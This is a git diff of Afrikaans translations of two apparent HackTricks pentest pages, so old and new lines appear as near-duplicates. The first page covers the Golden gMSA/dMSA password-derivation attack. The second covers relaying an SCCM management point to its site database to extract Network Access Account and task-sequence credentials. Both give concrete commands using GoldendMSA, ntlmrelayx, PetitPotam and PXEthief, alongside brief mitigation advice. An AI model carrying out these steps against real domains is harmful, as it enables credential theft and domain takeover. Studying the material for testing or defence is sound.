* Die woud-wye **KDS Wortelsleutel** (`KRBTGT\KDS`) ewekansig gegenereerde GUID-genaamde geheim, wat na elke DC gerepliceer word onder die `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` houer.
* Die teikenrekening **SID**.
* 'n per-rekening **ManagedPasswordID** (GUID) wat in die `msDS-ManagedPasswordId` attribuut gevind word.
Die afleiding is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob uiteindelik **base64-gecodeer** en gestoor in die `msDS-ManagedPassword` attribuut.
Die afleiding is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob wat uiteindelik **base64-gecodeer** en in die `msDS-ManagedPassword` attribuut gestoor word.
Geen Kerberos-verkeer of domeininteraksie is nodig tydens normale wagwoordgebruik nie 'n lidgasheer lei die wagwoord plaaslik af solank dit die drie insette ken.
## Golden gMSA / Golden dMSA Aanval
@ -53,9 +53,9 @@ GoldendMSA.exe kds
# With GoldenGMSA
GoldenGMSA.exe kdsinfo
```
Die base64-string gemerk `RootKey` (GUID naam) is nodig in latere stappe.
Die base64-string gemerk `RootKey` (GUID naam) is benodig in latere stappe.
##### Fase 2 Enumereer gMSA / dMSA objekte
##### Fase 2 Enumereer gMSA / dMSA objekten
Herwin ten minste `sAMAccountName`, `objectSid` en `msDS-ManagedPasswordId`:
```powershell
@ -75,13 +75,12 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
```
##### Fase 3 Raai / Ontdek die ManagedPasswordID (wanneer dit ontbreek)
Sommige implementasies *verwyder* `msDS-ManagedPasswordId` van ACL-beskermde leeswerk.
Omdat die GUID 128-bis is, is naïewe bruteforce onmoontlik, maar:
Sommige implementasies *verwyder* `msDS-ManagedPasswordId` van ACL-beskermde lees. Omdat die GUID 128-bis is, is naïewe bruteforce onmoontlik, maar:
1. Die eerste **32 bits = Unix epocht tyd** van die rekening se skepping (minute resolusie).
2. Gevolg deur 96 ewekansige bits.
Daarom is 'n **smal woordlys per rekening** (± paar ure) realisties.
Daarom is 'n **smal woordlys per rekening** (± paar uur) realisties.
```powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
```
@ -101,7 +100,7 @@ Die resulterende hashes kan ingespuit word met **mimikatz** (`sekurlsa::pth`) of
* Beperk **DC rugsteun en registrasie heuning lees** vermoëns tot Tier-0 administrateurs.
* Monitor **Directory Services Restore Mode (DSRM)** of **Volume Shadow Copy** skepping op DC's.
* Ou dit lees / veranderinge aan `CN=Master Root Keys,…` en `userAccountControl` vlae van diens rekeninge.
* Ouudit lees / veranderinge aan `CN=Master Root Keys,…` en `userAccountControl` vlae van diens rekeninge.
* Ontdek ongewone **base64 wagwoord skrywe** of skielike diens wagwoord hergebruik oor gasheer.
* Oorweeg om hoë-privilege gMSA's na **klassieke diens rekeninge** te omskep met gereelde ewekansige rotasies waar Tier-0 isolasie nie moontlik is nie.

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
Deur 'n **System Center Configuration Manager (SCCM) Bestuurspunt (MP)** te dwing om oor SMB/RPC te autentiseer en daardie NTLM masjienrekening na die **terrein databasis (MSSQL)** te **relay**, verkry jy `smsdbrole_MP` / `smsdbrole_MPUserSvc` regte. Hierdie rolle laat jou toe om 'n stel gestoor prosedures aan te roep wat **Operating System Deployment (OSD)** beleid blobs (Netwerk Toegang Rekening kredensiale, Taak-Reeks veranderlikes, ens.) blootstel. Die blobs is hex-gecodeer/enkripteer, maar kan gedecodeer en ontsleutel word met **PXEthief**, wat platte teks geheime oplewer.
Deur 'n **System Center Configuration Manager (SCCM) Bestuurspunt (MP)** te dwing om oor SMB/RPC te autentiseer en daardie NTLM masjienrekening na die **terrein databasis (MSSQL)** te **relay**, verkry jy `smsdbrole_MP` / `smsdbrole_MPUserSvc` regte. Hierdie rolle laat jou toe om 'n stel gestoor prosedures aan te roep wat **Operating System Deployment (OSD)** beleid blobs (Netwerk Toegang Rekening geloofsbriewe, Taak-Reeks veranderlikes, ens.) blootstel. Die blobs is hex-gecodeer/enkripteer, maar kan gedecodeer en ontsleutel word met **PXEthief**, wat platte teks geheime oplewer.
Hoogvlak ketting:
1. Ontdek MP & terrein DB ↦ nie-geoutentiseerde HTTP eindpunt `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
Hoofketting:
1. Ontdek MP & terrein DB ↦ ongeauthentiseerde HTTP eindpunt `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. Begin `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks`.
3. Dwing MP met **PetitPotam**, PrinterBug, DFSCoerce, ens.
4. Deur die SOCKS-proxy te verbind met `mssqlclient.py -windows-auth` as die gerelayde **<DOMAIN>\\<MP-host>$** rekening.
@ -20,8 +20,8 @@ Geheime soos `OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password`,
---
## 1. Opname van nie-geoutentiseerde MP eindpunte
Die MP ISAPI uitbreiding **GetAuth.dll** stel verskeie parameters bloot wat nie outentisering vereis nie (tenzij die terrein slegs PKI is):
## 1. Opname van ongeauthentiseerde MP eindpunte
Die MP ISAPI uitbreiding **GetAuth.dll** stel verskeie parameters bloot wat nie autentisering vereis nie (tenzij die terrein slegs PKI is):
| Parameter | Doel |
|-----------|---------|
@ -72,7 +72,7 @@ EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N''
Elke ry bevat `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion`.
Fokus op beleide:
* **NAAConfig** Netwerktoegang rekening krediete
* **NAAConfig** Netwerktoegangrekening krediete
* **TS_Sequence** Taakvolgorde veranderlikes (OSDJoinAccount/Wagwoord)
* **CollectionSettings** Kan run-as rekeninge bevat
@ -81,11 +81,11 @@ As jy reeds `PolicyID` & `PolicyVersion` het, kan jy die clientID vereiste oorsl
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> BELANGRIJK: Verhoog "Maximum Characters Retrieved" in SSMS (>65535) of die blob sal afgekort word.
> BELANGRIJK: Verhoog “Maximale Karakters Herwin” in SSMS (>65535) of die blob sal afgekort word.
---
## 4. Dekodeer en ontsleutel die blob
## 4. Dekodeer & dekripteer die blob
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
@ -107,7 +107,7 @@ By relay word die aanmelding toegeken aan:
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
Hierdie rolle stel dosyne EXEC toestemmings bloot, die sleutel een wat in hierdie aanval gebruik word is:
Hierdie rolle stel dosyne EXEC-toestemmings bloot, die sleutel wat in hierdie aanval gebruik word, is:
| Gestoor Prosedure | Doel |
|------------------|---------|
@ -149,7 +149,7 @@ abusing-ad-mssql.md
## Verwysings
- [Ek wil graag met jou bestuurder praat: Diefstal van geheime met Bestuurspunt Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [Id Like to Speak to Your Manager: Stealing Secrets with Management Point Relays](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Misconfigurasie Bestuurder ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
- [Misconfiguration Manager ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}